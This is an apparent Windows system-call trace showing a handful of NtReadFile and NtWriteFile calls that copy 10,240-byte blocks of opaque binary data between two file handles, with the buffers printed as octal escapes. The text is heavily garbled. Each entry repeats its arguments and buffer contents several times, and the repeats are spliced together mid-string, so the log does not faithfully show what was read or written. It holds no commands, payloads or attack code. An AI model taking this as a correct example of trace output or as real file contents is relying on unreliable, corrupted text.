\350\13{_\32\3J]\201x\24\304Z\357.8~\23U&\241'L\266k'wdT\317R\6\20S\dKc\213\35\371J8+l\260\327\221\32\304\13\16\322 U5l\24\17\37\256\32\24~\330;S$\250\345\306\241\242]\5\227C\30\216\304\355\200\365L\254#\320\211"\306C\7\205\373\3133\351\1\321\304*e\0A\204\12V\244k\337~\377\23\211\4\306@,\0\3%@m4\2\324\223,f\210\235hd\242\4\321{~ \340\21\360\177<\347:Z\250z\237\366Et\371\14\333M\21\33\32\314-4\320~\4o\353,\215D\373\6\205\322}\2\300+\4\23\353\313V\242jU\35\36\14t\16\4\217\271M-\27\20+\302\2635ww\4~\6\330\344\310+\312\156b,>\213\17]\20t\35\264\205\220A\272\0\331\270\2003Y\357\302\342\376WA\364\205m\200\333;it\31\360\14P\352\11'\3168\311;0\200\\310\0\2640\366!\240s0\263\17\210\4\274-\214\2047S8\27\211P8\221\201\252\221&\262\3\24\275", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) , 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00706  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\212\354\364H\375\265\206\277@^\16\210U\234\241\327\333@\234\337\237\337\344d\232F\4`\336\32\230a\223\15\221\377\236\317\317'0E\25\212\304\36\323\200a\25\242\375RE\224\4\213\200f\215\256{\30?\217\352\241I\310UY\336\327m\207\14Tp.\25\370\23\336Lk\26V\4Oa\215\4"\274\336d\211:[\2\253\343\3562\252]\227\31\316\372b5z\\342W\200\15Xh\2\374\244N\262zE\325%\347\177=\262\224\23\355P=\366\370|\251\25\325\224\251\372Y\375\3161;\244=\277\335\0\377T\0x\265~*\205L\330-\32<\236\215\365\347\211v\342\236\3660\374\334\244\0\362\26 \254k\230\322 \250\275=\3j\302\362\201\222\376_\36b\201\343\223\211\274/}\374kB\243\306)\10]\344a~\16\\350\224"\227Bd\354\200\375nn\203\255-\12b\326"I\277)\357\3\212\227\345\26x\1\2246\324\317\250\364\353\32\2134$\263\220\2\6\177\32\314R\321\372,\353\277\307\7\15>D\232R\17<\10L8C\211\245\274j\30x\277&\1\314m"\366\14\331C\200\177 t\2232\323\257\214\235C\272\232\236o\4\2Ok\351\3011\357\35cn#\270p\230\20\344\30\347\324C\214\347\344\0\372:\324\370\355\337\317Mpm\225k\254\32\251\344\256\217\237<\377\23\246\343~\247\350\224\350_\355pS\224\355 \364_\350\30l9\3757\254&\207\362\220\204\246S\317\230"\16\210\273 \353\261\3559H\215\254.(\200\234~\362\215\35\13\350\224\225sR\311\257\225h\374i\344\246\12\336\244m\30\246D\214N5m\24\300\314\277Tx\332\3040\343\35,\311\233\326\13\357\2127#a\216\17\221o\210Pta\331\316NH\2308\207\360\270\213H\24\264\37j`K7d`\257\7\35\30", ) \274\336d\211:[\2\253\343\3562\252]\227\31\316\372b5z\\342W\200\15Xh\2\374\244N\262zE\325%\347\177=\262\224\23\355P=\366\370|\251\25\325\224\251\372Y\375\3161;\244=\277\335\0\377T\0x\265~*\205L\330-\32<\236\215\365\347\211v\342\236\3660\374\334\244\0\362\26 \254k\230\322 \250\275=\3j\302\362\201\222\376_\36b\201\343\223\211\274/}\374kB\243\306)\10]\344a~\16\\350\224 (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\212\354\364H\375\265\206\277@^\16\210U\234\241\327\333@\234\337\237\337\344d\232F\4`\336\32\230a\223\15\221\377\236\317\317'0E\25\212\304\36\323\200a\25\242\375RE\224\4\213\200f\215\256{\30?\217\352\241I\310UY\336\327m\207\14Tp.\25\370\23\336Lk\26V\4Oa\215\4"\274\336d\211:[\2\253\343\3562\252]\227\31\316\372b5z\\342W\200\15Xh\2\374\244N\262zE\325%\347\177=\262\224\23\355P=\366\370|\251\25\325\224\251\372Y\375\3161;\244=\277\335\0\377T\0x\265~*\205L\330-\32<\236\215\365\347\211v\342\236\3660\374\334\244\0\362\26 \254k\230\322 \250\275=\3j\302\362\201\222\376_\36b\201\343\223\211\274/}\374kB\243\306)\10]\344a~\16\\350\224"\227Bd\354\200\375nn\203\255-\12b\326"I\277)\357\3\212\227\345\26x\1\2246\324\317\250\364\353\32\2134$\263\220\2\6\177\32\314R\321\372,\353\277\307\7\15>D\232R\17<\10L8C\211\245\274j\30x\277&\1\314m"\366\14\331C\200\177 t\2232\323\257\214\235C\272\232\236o\4\2Ok\351\3011\357\35cn#\270p\230\20\344\30\347\324C\214\347\344\0\372:\324\370\355\337\317Mpm\225k\254\32\251\344\256\217\237<\377\23\246\343~\247\350\224\350_\355pS\224\355 \364_\350\30l9\3757\254&\207\362\220\204\246S\317\230"\16\210\273 \353\261\3559H\215\254.(\200\234~\362\215\35\13\350\224\225sR\311\257\225h\374i\344\246\12\336\244m\30\246D\214N5m\24\300\314\277Tx\332\3040\343\35,\311\233\326\13\357\2127#a\216\17\221o\210Pta\331\316NH\2308\207\360\270\213H\24\264\37j`K7d`\257\7\35\30", ) I\277)\357\3\212\227\345\26x\1\2246\324\317\250\364\353\32\2134$\263\220\2\6\177\32\314R\321\372,\353\277\307\7\15>D\232R\17<\10L8C\211\245\274j\30x\277&\1\314m (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\212\354\364H\375\265\206\277@^\16\210U\234\241\327\333@\234\337\237\337\344d\232F\4`\336\32\230a\223\15\221\377\236\317\317'0E\25\212\304\36\323\200a\25\242\375RE\224\4\213\200f\215\256{\30?\217\352\241I\310UY\336\327m\207\14Tp.\25\370\23\336Lk\26V\4Oa\215\4"\274\336d\211:[\2\253\343\3562\252]\227\31\316\372b5z\\342W\200\15Xh\2\374\244N\262zE\325%\347\177=\262\224\23\355P=\366\370|\251\25\325\224\251\372Y\375\3161;\244=\277\335\0\377T\0x\265~*\205L\330-\32<\236\215\365\347\211v\342\236\3660\374\334\244\0\362\26 \254k\230\322 \250\275=\3j\302\362\201\222\376_\36b\201\343\223\211\274/}\374kB\243\306)\10]\344a~\16\\350\224"\227Bd\354\200\375nn\203\255-\12b\326"I\277)\357\3\212\227\345\26x\1\2246\324\317\250\364\353\32\2134$\263\220\2\6\177\32\314R\321\372,\353\277\307\7\15>D\232R\17<\10L8C\211\245\274j\30x\277&\1\314m"\366\14\331C\200\177 t\2232\323\257\214\235C\272\232\236o\4\2Ok\351\3011\357\35cn#\270p\230\20\344\30\347\324C\214\347\344\0\372:\324\370\355\337\317Mpm\225k\254\32\251\344\256\217\237<\377\23\246\343~\247\350\224\350_\355pS\224\355 \364_\350\30l9\3757\254&\207\362\220\204\246S\317\230"\16\210\273 \353\261\3559H\215\254.(\200\234~\362\215\35\13\350\224\225sR\311\257\225h\374i\344\246\12\336\244m\30\246D\214N5m\24\300\314\277Tx\332\3040\343\35,\311\233\326\13\357\2127#a\216\17\221o\210Pta\331\316NH\2308\207\360\270\213H\24\264\37j`K7d`\257\7\35\30", ) \16\210\273 \353\261\3559H\215\254.(\200\234~\362\215\35\13\350\224\225sR\311\257\225h\374i\344\246\12\336\244m\30\246D\214N5m\24\300\314\277Tx\332\3040\343\35,\311\233\326\13\357\2127#a\216\17\221o\210Pta\331\316NH\2308\207\360\270\213H\24\264\37j`K7d`\257\7\35\30", ) == 0x0
 00707  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "\2\363\330Hu\252\252\277\310A"\210\335\203\215\327S_\260\337\27\300\310d\22Y(`V\5\264a\33\22\275\377\26\320\343'\270Z9\212L\1\377\200\351\12\216\375\332Z\270\4\3\237J\215&d4?\7\365\215I@Ju\336_r\253\14\334o\2\25p\14\362L\343\11z\4\307~\241\4\252\243\362d\1%w\2#\374\3022"B\273\31F\345N5\362C\316W\10\22th\212\343\210N:ei\325\255\370S=:\213?\355\330"\332\370\364\2669\325\34\266\326Yu\321\35;,"\223\335\210\340x\0\360\252R*\15S\364-\222#\262\215}\370\245vj\201\3320t\303\210\0z\11\14\254\343\207\376  \242\21\3\342\335\336\201\32\341s\36\352\236\317\223\1\243\3}ttn\243N6$]l~R\16\324\367\270"\37]H\354\10\342Bn\13\262\1\12\352\311\16I76\303\3\2\210\311\26\360\36\2706\\32090|\3646\213\274;\237\220\212\31S\32DM\375\372\244\364\223\307\217\22\22D\22M#<\200S\24C\1\272\220j\220g\223&\211\323A"~\23\365C\10`\14t\33-\377\257\4\202o\272\22\201C\4\212PG\351I.\303\35\353q\17\270\370\207<\344\220\370\370C\4\370\310\0r%\370\370e\300\343M\370r\271k$\5\205\344&\220\263, 10240, 0x0, 0, ... {status=0x0, info=10240}, ) \210\335\203\215\327S_\260\337\27\300\310d\22Y(`V\5\264a\33\22\275\377\26\320\343'\270Z9\212L\1\377\200\351\12\216\375\332Z\270\4\3\237J\215&d4?\7\365\215I@Ju\336_r\253\14\334o\2\25p\14\362L\343\11z\4\307~\241\4\252\243\362d\1%w\2#\374\3022 (108, 0, 0, 0, "\2\363\330Hu\252\252\277\310A"\210\335\203\215\327S_\260\337\27\300\310d\22Y(`V\5\264a\33\22\275\377\26\320\343'\270Z9\212L\1\377\200\351\12\216\375\332Z\270\4\3\237J\215&d4?\7\365\215I@Ju\336_r\253\14\334o\2\25p\14\362L\343\11z\4\307~\241\4\252\243\362d\1%w\2#\374\3022"B\273\31F\345N5\362C\316W\10\22th\212\343\210N:ei\325\255\370S=:\213?\355\330"\332\370\364\2669\325\34\266\326Yu\321\35;,"\223\335\210\340x\0\360\252R*\15S\364-\222#\262\215}\370\245vj\201\3320t\303\210\0z\11\14\254\343\207\376  \242\21\3\342\335\336\201\32\341s\36\352\236\317\223\1\243\3}ttn\243N6$]l~R\16\324\367\270"\37]H\354\10\342Bn\13\262\1\12\352\311\16I76\303\3\2\210\311\26\360\36\2706\\32090|\3646\213\274;\237\220\212\31S\32DM\375\372\244\364\223\307\217\22\22D\22M#<\200S\24C\1\272\220j\220g\223&\211\323A"~\23\365C\10`\14t\33-\377\257\4\202o\272\22\201C\4\212PG\351I.\303\35\353q\17\270\370\207<\344\220\370\370C\4\370\310\0r%\370\370e\300\343M\370r\271k$\5\205\344&\220\263, 10240, 0x0, 0, ... {status=0x0, info=10240}, ) \332\370\364\2669\325\34\266\326Yu\321\35;, (108, 0, 0, 0, "\2\363\330Hu\252\252\277\310A"\210\335\203\215\327S_\260\337\27\300\310d\22Y(`V\5\264a\33\22\275\377\26\320\343'\270Z9\212L\1\377\200\351\12\216\375\332Z\270\4\3\237J\215&d4?\7\365\215I@Ju\336_r\253\14\334o\2\25p\14\362L\343\11z\4\307~\241\4\252\243\362d\1%w\2#\374\3022"B\273\31F\345N5\362C\316W\10\22th\212\343\210N:ei\325\255\370S=:\213?\355\330"\332\370\364\2669\325\34\266\326Yu\321\35;,"\223\335\210\340x\0\360\252R*\15S\364-\222#\262\215}\370\245vj\201\3320t\303\210\0z\11\14\254\343\207\376  \242\21\3\342\335\336\201\32\341s\36\352\236\317\223\1\243\3}ttn\243N6$]l~R\16\324\367\270"\37]H\354\10\342Bn\13\262\1\12\352\311\16I76\303\3\2\210\311\26\360\36\2706\\32090|\3646\213\274;\237\220\212\31S\32DM\375\372\244\364\223\307\217\22\22D\22M#<\200S\24C\1\272\220j\220g\223&\211\323A"~\23\365C\10`\14t\33-\377\257\4\202o\272\22\201C\4\212PG\351I.\303\35\353q\17\270\370\207<\344\220\370\370C\4\370\310\0r%\370\370e\300\343M\370r\271k$\5\205\344&\220\263, 10240, 0x0, 0, ... {status=0x0, info=10240}, ) \37]H\354\10\342Bn\13\262\1\12\352\311\16I76\303\3\2\210\311\26\360\36\2706\\32090|\3646\213\274;\237\220\212\31S\32DM\375\372\244\364\223\307\217\22\22D\22M#<\200S\24C\1\272\220j\220g\223&\211\323A (108, 0, 0, 0, "\2\363\330Hu\252\252\277\310A"\210\335\203\215\327S_\260\337\27\300\310d\22Y(`V\5\264a\33\22\275\377\26\320\343'\270Z9\212L\1\377\200\351\12\216\375\332Z\270\4\3\237J\215&d4?\7\365\215I@Ju\336_r\253\14\334o\2\25p\14\362L\343\11z\4\307~\241\4\252\243\362d\1%w\2#\374\3022"B\273\31F\345N5\362C\316W\10\22th\212\343\210N:ei\325\255\370S=:\213?\355\330"\332\370\364\2669\325\34\266\326Yu\321\35;,"\223\335\210\340x\0\360\252R*\15S\364-\222#\262\215}\370\245vj\201\3320t\303\210\0z\11\14\254\343\207\376  \242\21\3\342\335\336\201\32\341s\36\352\236\317\223\1\243\3}ttn\243N6$]l~R\16\324\367\270"\37]H\354\10\342Bn\13\262\1\12\352\311\16I76\303\3\2\210\311\26\360\36\2706\\32090|\3646\213\274;\237\220\212\31S\32DM\375\372\244\364\223\307\217\22\22D\22M#<\200S\24C\1\272\220j\220g\223&\211\323A"~\23\365C\10`\14t\33-\377\257\4\202o\272\22\201C\4\212PG\351I.\303\35\353q\17\270\370\207<\344\220\370\370C\4\370\310\0r%\370\370e\300\343M\370r\271k$\5\205\344&\220\263, 10240, 0x0, 0, ... {status=0x0, info=10240}, ) , 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00708  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\360\177\2\230\303QC\374\237\355\3{\303\14dS\370sEt\336\263\315,\251@a\4\341O\325b\367F\253S\331S{a\240|(\205\10\232)\323<8.\366\230R,\227\214\30\30 \351\244\340\327\323\27\33\260\323\350\267\0\277}\7z\213\14\37\25:;\33\12\23R\234\17\2130\17\340\210H\247\326\301\13\20\0\340`dS\301[-\340\205g\365\220\12\375\301\353\230>\347I2\347t\305\211\375O\262\273\27\265\260\272co\214\234\335r}\5L-\271\211\m\202\2\14\16|\375\37\27\200\221\235b`R\12\244\267\213\377$*\215\276%\12\260\32\25\327"/\256\216\376p#\271\245z\23\242*\253\21\215\236\226\205(\230\2431 \33\36\270<=\36\350uw\2378\6\235"\254X\230\370\25\242\335!.\201\224\37K\307\252\277+\25j\21\4hA\254\200\221\207N'\5H\14Vr\347\4\216\362|$T\4\244\340/\24\263I$I\334\14\246|C\300\325$}\231\252\214\313\240\325\215\5X\364\300\204\11\367\344\324\207\342\26}-\220\225\244; \34\273\200\34F\256'\314p\374\4\5R\324\346\10\177\355\11`>$\313\253\20\207\252\237d\270q\20\24\16X\214V#\244+\237"\10\275\5i\22\252(\232\24\334\254O\33\365\3668qD\247.\0\24\17#\377D\17\221\2\266Rdu\205J\251"~\342u8c"\222\16L#\237 \210\333\307& \2163*\340\12\331\205\214\217,|\315h\6\12\342\35\233\252?\262\216GT\341YGOE-\3\212}H\236\244\324\236l\215\23 \20\230\13\236,C\2558\30\220?\14\313:3\347$\2547\4,\244\13\267\0\352\310\335\202\330^\240\355\334\37\207S\207\352\244f\331\240g\242\253E.\213Y\34\306\11\\274\211v\350\363 \3", ) /\256\216\376p#\271\245z\23\242*\253\21\215\236\226\205(\230\2431 \33\36\270<=\36\350uw\2378\6\235 (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\360\177\2\230\303QC\374\237\355\3{\303\14dS\370sEt\336\263\315,\251@a\4\341O\325b\367F\253S\331S{a\240|(\205\10\232)\323<8.\366\230R,\227\214\30\30 \351\244\340\327\323\27\33\260\323\350\267\0\277}\7z\213\14\37\25:;\33\12\23R\234\17\2130\17\340\210H\247\326\301\13\20\0\340`dS\301[-\340\205g\365\220\12\375\301\353\230>\347I2\347t\305\211\375O\262\273\27\265\260\272co\214\234\335r}\5L-\271\211\m\202\2\14\16|\375\37\27\200\221\235b`R\12\244\267\213\377$*\215\276%\12\260\32\25\327"/\256\216\376p#\271\245z\23\242*\253\21\215\236\226\205(\230\2431 \33\36\270<=\36\350uw\2378\6\235"\254X\230\370\25\242\335!.\201\224\37K\307\252\277+\25j\21\4hA\254\200\221\207N'\5H\14Vr\347\4\216\362|$T\4\244\340/\24\263I$I\334\14\246|C\300\325$}\231\252\214\313\240\325\215\5X\364\300\204\11\367\344\324\207\342\26}-\220\225\244; \34\273\200\34F\256'\314p\374\4\5R\324\346\10\177\355\11`>$\313\253\20\207\252\237d\270q\20\24\16X\214V#\244+\237"\10\275\5i\22\252(\232\24\334\254O\33\365\3668qD\247.\0\24\17#\377D\17\221\2\266Rdu\205J\251"~\342u8c"\222\16L#\237 \210\333\307& \2163*\340\12\331\205\214\217,|\315h\6\12\342\35\233\252?\262\216GT\341YGOE-\3\212}H\236\244\324\236l\215\23 \20\230\13\236,C\2558\30\220?\14\313:3\347$\2547\4,\244\13\267\0\352\310\335\202\330^\240\355\334\37\207S\207\352\244f\331\240g\242\253E.\213Y\34\306\11\\274\211v\350\363 \3", ) \10\275\5i\22\252(\232\24\334\254O\33\365\3668qD\247.\0\24\17#\377D\17\221\2\266Rdu\205J\251 (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\360\177\2\230\303QC\374\237\355\3{\303\14dS\370sEt\336\263\315,\251@a\4\341O\325b\367F\253S\331S{a\240|(\205\10\232)\323<8.\366\230R,\227\214\30\30 \351\244\340\327\323\27\33\260\323\350\267\0\277}\7z\213\14\37\25:;\33\12\23R\234\17\2130\17\340\210H\247\326\301\13\20\0\340`dS\301[-\340\205g\365\220\12\375\301\353\230>\347I2\347t\305\211\375O\262\273\27\265\260\272co\214\234\335r}\5L-\271\211\m\202\2\14\16|\375\37\27\200\221\235b`R\12\244\267\213\377$*\215\276%\12\260\32\25\327"/\256\216\376p#\271\245z\23\242*\253\21\215\236\226\205(\230\2431 \33\36\270<=\36\350uw\2378\6\235"\254X\230\370\25\242\335!.\201\224\37K\307\252\277+\25j\21\4hA\254\200\221\207N'\5H\14Vr\347\4\216\362|$T\4\244\340/\24\263I$I\334\14\246|C\300\325$}\231\252\214\313\240\325\215\5X\364\300\204\11\367\344\324\207\342\26}-\220\225\244; \34\273\200\34F\256'\314p\374\4\5R\324\346\10\177\355\11`>$\313\253\20\207\252\237d\270q\20\24\16X\214V#\244+\237"\10\275\5i\22\252(\232\24\334\254O\33\365\3668qD\247.\0\24\17#\377D\17\221\2\266Rdu\205J\251"~\342u8c"\222\16L#\237 \210\333\307& \2163*\340\12\331\205\214\217,|\315h\6\12\342\35\233\252?\262\216GT\341YGOE-\3\212}H\236\244\324\236l\215\23 \20\230\13\236,C\2558\30\220?\14\313:3\347$\2547\4,\244\13\267\0\352\310\335\202\330^\240\355\334\37\207S\207\352\244f\331\240g\242\253E.\213Y\34\306\11\\274\211v\350\363 \3", ) \222\16L#\237 \210\333\307& \2163*\340\12\331\205\214\217,|\315h\6\12\342\35\233\252?\262\216GT\341YGOE-\3\212}H\236\244\324\236l\215\23 \20\230\13\236,C\2558\30\220?\14\313:3\347$\2547\4,\244\13\267\0\352\310\335\202\330^\240\355\334\37\207S\207\352\244f\331\240g\242\253E.\213Y\34\306\11\\274\211v\350\363 \3", ) == 0x0
 00709  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "x`.\230KNo\374\27\362/{K\23HSplitV\254\341,!_M\4iP\371b\177Y\207SQLWa(c\4\205\200\205\5\323\264'\2\366\20M\0\227\4\74 a\273\314\327[\107\260[\367\233\07b+z\3\233\25\262$7\12\233M\260\17\3/#\340\0W\213\326I\24<\0h\177HSID\1\340\15x\331\220\202\342\355\353\20!\313I\272\370X\305\1\342c\2623\10\231\2602|C\214\24\302^}\215S\1\271\1CA\202\212\23"|u\0;\200\31\202N`\332\25\210\267\3\340\10*\5\241\11\128\59\327\2520\202\216vo\17\271-e?\242\242\264=\215\26\211\251(\20\274\35 \223\1\224<\265\1\304u\377\200\24\6\25=\200X\20\3479\242U>\2\201\34\0g\307"\240\7\25\342\16(h\311\263\254\221\17Q\13\5\300\23zro\33\242\362\364;x\4,\377\3\24;V\10IT\23\212|\313\7\34\325\254b\265\252\4\324\214\325\5\32t\364\220/\250\11\177\373\370\207j\11Q-\30\212\210;\250\3\227\200\224Y\202'Do\320\4\215M\370\346\200`\301\11\350!\10\313#\17\253\252\27{\224q\230\13"X\4I\17\244\243\200\16\105\32E\22"7\266\24T\263c\33}\351\24q\314\270\2\0\234\20\17\377\314\20\275\2>MHu\15U\205"\366\375Y8\353=\276\16\304<\263 \0\304\353&\250\221\37*h\25\365\205\4\220\0|Ew*\12j\2\267\252\267\255\242G\334\376uG\307Z\1\3\2bd\236,\313\262l\5\14\14\20\20\24\262,\313\262\24\30\30  \313\262,\313$$((,,\24\233\0b\327\361\202PA\214\355T\0\253S\17\365\210fQ\277K\242#Z\2\213\321\3\352\11\324\243\245v`\354\14\3", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) |u\0;\200\31\202N`\332\25\210\267\3\340\10*\5\241\11\128\59\327\2520\202\216vo\17\271-e?\242\242\264=\215\26\211\251(\20\274\35 \223\1\224<\265\1\304u\377\200\24\6\25=\200X\20\3479\242U>\2\201\34\0g\307 (108, 0, 0, 0, "x`.\230KNo\374\27\362/{K\23HSplitV\254\341,!_M\4iP\371b\177Y\207SQLWa(c\4\205\200\205\5\323\264'\2\366\20M\0\227\4\74 a\273\314\327[\107\260[\367\233\07b+z\3\233\25\262$7\12\233M\260\17\3/#\340\0W\213\326I\24<\0h\177HSID\1\340\15x\331\220\202\342\355\353\20!\313I\272\370X\305\1\342c\2623\10\231\2602|C\214\24\302^}\215S\1\271\1CA\202\212\23"|u\0;\200\31\202N`\332\25\210\267\3\340\10*\5\241\11\128\59\327\2520\202\216vo\17\271-e?\242\242\264=\215\26\211\251(\20\274\35 \223\1\224<\265\1\304u\377\200\24\6\25=\200X\20\3479\242U>\2\201\34\0g\307"\240\7\25\342\16(h\311\263\254\221\17Q\13\5\300\23zro\33\242\362\364;x\4,\377\3\24;V\10IT\23\212|\313\7\34\325\254b\265\252\4\324\214\325\5\32t\364\220/\250\11\177\373\370\207j\11Q-\30\212\210;\250\3\227\200\224Y\202'Do\320\4\215M\370\346\200`\301\11\350!\10\313#\17\253\252\27{\224q\230\13"X\4I\17\244\243\200\16\105\32E\22"7\266\24T\263c\33}\351\24q\314\270\2\0\234\20\17\377\314\20\275\2>MHu\15U\205"\366\375Y8\353=\276\16\304<\263 \0\304\353&\250\221\37*h\25\365\205\4\220\0|Ew*\12j\2\267\252\267\255\242G\334\376uG\307Z\1\3\2bd\236,\313\262l\5\14\14\20\20\24\262,\313\262\24\30\30  \313\262,\313$$((,,\24\233\0b\327\361\202PA\214\355T\0\253S\17\365\210fQ\277K\242#Z\2\213\321\3\352\11\324\243\245v`\354\14\3", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) X\4I\17\244\243\200\16\105\32E\22 (108, 0, 0, 0, "x`.\230KNo\374\27\362/{K\23HSplitV\254\341,!_M\4iP\371b\177Y\207SQLWa(c\4\205\200\205\5\323\264'\2\366\20M\0\227\4\74 a\273\314\327[\107\260[\367\233\07b+z\3\233\25\262$7\12\233M\260\17\3/#\340\0W\213\326I\24<\0h\177HSID\1\340\15x\331\220\202\342\355\353\20!\313I\272\370X\305\1\342c\2623\10\231\2602|C\214\24\302^}\215S\1\271\1CA\202\212\23"|u\0;\200\31\202N`\332\25\210\267\3\340\10*\5\241\11\128\59\327\2520\202\216vo\17\271-e?\242\242\264=\215\26\211\251(\20\274\35 \223\1\224<\265\1\304u\377\200\24\6\25=\200X\20\3479\242U>\2\201\34\0g\307"\240\7\25\342\16(h\311\263\254\221\17Q\13\5\300\23zro\33\242\362\364;x\4,\377\3\24;V\10IT\23\212|\313\7\34\325\254b\265\252\4\324\214\325\5\32t\364\220/\250\11\177\373\370\207j\11Q-\30\212\210;\250\3\227\200\224Y\202'Do\320\4\215M\370\346\200`\301\11\350!\10\313#\17\253\252\27{\224q\230\13"X\4I\17\244\243\200\16\105\32E\22"7\266\24T\263c\33}\351\24q\314\270\2\0\234\20\17\377\314\20\275\2>MHu\15U\205"\366\375Y8\353=\276\16\304<\263 \0\304\353&\250\221\37*h\25\365\205\4\220\0|Ew*\12j\2\267\252\267\255\242G\334\376uG\307Z\1\3\2bd\236,\313\262l\5\14\14\20\20\24\262,\313\262\24\30\30  \313\262,\313$$((,,\24\233\0b\327\361\202PA\214\355T\0\253S\17\365\210fQ\277K\242#Z\2\213\321\3\352\11\324\243\245v`\354\14\3", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) \366\375Y8\353=\276\16\304<\263 \0\304\353&\250\221\37*h\25\365\205\4\220\0|Ew*\12j\2\267\252\267\255\242G\334\376uG\307Z\1\3\2bd\236,\313\262l\5\14\14\20\20\24\262,\313\262\24\30\30  \313\262,\313$$((,,\24\233\0b\327\361\202PA\214\355T\0\253S\17\365\210fQ\277K\242#Z\2\213\321\3\352\11\324\243\245v`\354\14\3", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00710  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\235\370\343o\15==1S\364,\314\224K?\32\347iM'[2\210P\224\267\334\354\247ex\36GGu>\375\301>\234j\26@\1\214\240` >K \360\271\30\326\17\302S\206~\250\4\267l\321g\305P\303\3"\212W\325e\25t\203\26P\331l\373\16\231\36.\216\7V9\4+203\26P\331l\373\16\231\36.\216\7V9\4+203\235\37\213\322\247/0\253|'|\224\231#8F\30<\213\315\357\254\0\244\201G6\230b\370H\366\3321 \335\357\366\25\31-\226d\363_2\325\356\315\330Y\200\35\274C\206&/\4\215T\206`\372,\354\303\356\3637\311]r\234h,\239<\32J\362\222j\174IS\321Z\11\10\336\6\336\345\275\211_8\7\14\206\204Wh\3\0\326'\211\336&\372\23\313e~1\30\226a\354Cg\300\205X\214\244\^\5k`\314\360-1\223\215~\350\34/\300E\346\304\14\1\217aW\321\304\36Bz0.\310\27\371}hK\377\312\244L\221\33\34\37|?\14\200t\35\373\25\300\336\316\262Z]x\27\206\178h\3356l\0C)\331$\236\261\247\1Z\357\330zI\4'\200\317\33\2119\232\27\314%\245\357\310\200\374\16\210\344_\3\101\351\222\7\364Om\215\3228\261\6{\221\36}E\232M\241H\3313\325\332P\24\27\203\335\34W.\317\374[\24\36\274`Wx\371#\201g\246\206O\300\3754\344\310\364\22w\314f\333\320\34'\372\240Z\326\232)\0\203\300\251i\236\3\200\24$$\246ST\24\377\55\177NG \11K\362\333\336.\267\250\P[\2035\3313\267\220z\1245\141\376\2512\251\342?\1440E\365\16nPeY[u}\30\27\2716\35n\242\201\265\254\2004K\303\2\211w;\13\241E\335=p\302\236\375\2N\252\246\17\212\264\14", ) == 0x0
 00711  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "\25\347\317o\205"\211\333\353\0\314\34T\23\32ova'\323-\244P\34\250\360\354/zT\36\317XY>u\336\22\234\342\11l\1\4\277L \266T\14\3601\7\372\17JL\252~ \33\233lYx\351PK\34\16\212\337\312I\25\374\234:PQs\327\16\21\1\2\216\217I\25\4\243#x\203\25\0\247\322\234(\30#c\13|\34\206\178\316\7\20\213E\360\200\0,\236k6\20}\324H~\305\35 U\360\332\25\2212\272d{@\36\325f\322\364Y\10\2\220C\169\3\4\5K\252`r3\300\303f\354\33\311\325m\260h\244\14\25<\222U\336\222\342\20\30I\333\316v\11\200\301*\336m\242\245_\260\30 \206\14HD\3\210\311\13\211V9\326\23CzR1\220\211M\354\313x\354\205\320\223\210\\326\32G`D\357\11\33\222R\350\2240\354En\333 \1\7~{\321L\1nz\2701\344\27qbDKw\325\210L\31\40\37\364  \200\374\2\327\25H\301\342\262\322BT\27\16\20\24hU)@\0\3136\365$\26\256\213\1\322\360\364z\301\33\13\200G\4\2459\22\10\340%-\360\344\200t\21\244\344\327\34$1a\215+\364\307r\241\322\260\256*{\31\1QE\22R\215HQ,\371\332\330\13;\203U\3{.G\343w\24\226\10\30`\337g\325#\11x\212\206\307\337\3214l\327\330\22\377\323J\333X\3\13\372(E\372\232\241\37\257\300!v\262\3\10\13\10$.Lx\24w\32\31\177\306X\14\11\303\355\367\336\246\250\204\\330D\2575Q,\233\220\362\25\305\204.\322\251\272\266\316?\204+\34E}\21BP\355Fwu\365\7;\271\276\2B\242\11\252\200\200\274T\357\2\1h\27\13)Z\361=\370\335\262\375\212Q\206\246\207\225\230\14", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) \211\333\353\0\314\34T\23\32ova'\323-\244P\34\250\360\354/zT\36\317XY>u\336\22\234\342\11l\1\4\277L \266T\14\3601\7\372\17JL\252~ \33\233lYx\351PK\34\16\212\337\312I\25\374\234:PQs\327\16\21\1\2\216\217I\25\4\243#x\203\25\0\247\322\234(\30#c\13|\34\206\178\316\7\20\213E\360\200\0,\236k6\20}\324H~\305\35 U\360\332\25\2212\272d{@\36\325f\322\364Y\10\2\220C\169\3\4\5K\252`r3\300\303f\354\33\311\325m\260h\244\14\25<\222U\336\222\342\20\30I\333\316v\11\200\301*\336m\242\245_\260\30 \206\14HD\3\210\311\13\211V9\326\23CzR1\220\211M\354\313x\354\205\320\223\210\\326\32G`D\357\11\33\222R\350\2240\354En\333 \1\7~{\321L\1nz\2701\344\27qbDKw\325\210L\31\40\37\364  